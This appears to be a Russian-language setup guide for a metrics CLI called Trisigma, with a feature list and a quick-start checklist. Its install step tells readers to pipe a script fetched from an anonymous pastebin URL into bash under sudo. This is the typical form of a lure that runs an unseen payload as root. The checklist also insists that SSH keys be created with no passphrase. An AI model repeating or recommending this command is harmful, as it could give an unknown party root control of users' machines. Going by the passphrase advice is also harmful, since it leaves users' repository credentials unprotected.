Перейти к основному содержимому

Настройка Trisigma CLI

Этот раздел содержит полное руководство по установке и настройке Trisigma CLI.

Для кого: Аналитики и пользователи семантического слоя метрик

Привет!

Если ты работаешь с репозиторием метрик в Trisigma и хочешь самостоятельно и быстро проверять свои изменения, отлаживать генерируемый SQL и работать с конфигурацией. это руководство для тебя.

Trisigma CLI. это инструмент командной строки, который позволяет:

  1. Валидировать изменения в репозитории метрик локально, до создания PR
  2. Генерировать и отлаживать SQL-запросы для источников и метрик
  3. Просматривать списки доступных источников, дименшенов и метрик
  4. Автоматически перекомпилировать SQL при изменении файлов (режим watch)
  5. Управлять Git workflow: создавать ветки, коммитить изменения, публиковать PR
  6. Получать AI-объяснения ошибок валидации (опционально)

Улучшаем self-service и прозрачность слоя метрик!

Содержание раздела

  1. Требования и подготовка
  2. Настройка Git и SSH-ключей
  3. Установка Trisigma CLI
  4. Первый запуск

Быстрый старт

Для опытных пользователей. краткий чек-лист:

# 1. Проверь требования \{#1-prover-trebovaniya}
python3 --version # должен быть 3.9-3.13
git --version

# 2. Настрой SSH-ключи для GitHub \{#2-nastroy-ssh-klyuchi-dlya-github}
ssh-keygen -t ed25519 -C "your.email@example.com"
# ВАЖНО: при создании ключа ОСТАВЬ passphrase ПУСТЫМ (просто нажми Enter) \{#vazhno-pri-sozdanii-klyucha-ostav-passphrase-pustym-prosto-nazhmi-enter}
# CLI не поддерживает ключи с passphrase \{#cli-ne-podderzhivaet-klyuchi-s-passphrase}
# Добавь публичный ключ в https://github.com/settings/keys \{#dobav-publichnyy-klyuch-v-https-github-com-settings-keys}
# 3. Склонируй репозиторий метрик \{#3-skloniruy-repozitoriy-metrik}
git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ab-metrics
cd ab-metrics

# 4. Установи CLI \{#4-ustanovi-cli}
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash

# 5. Настрой CLI \{#5-nastroy-cli}
trisigma init

Для подробных инструкций с пояснениями и скриншотами. переходи к следующим разделам!

Начать с требований | Вернуться к главной странице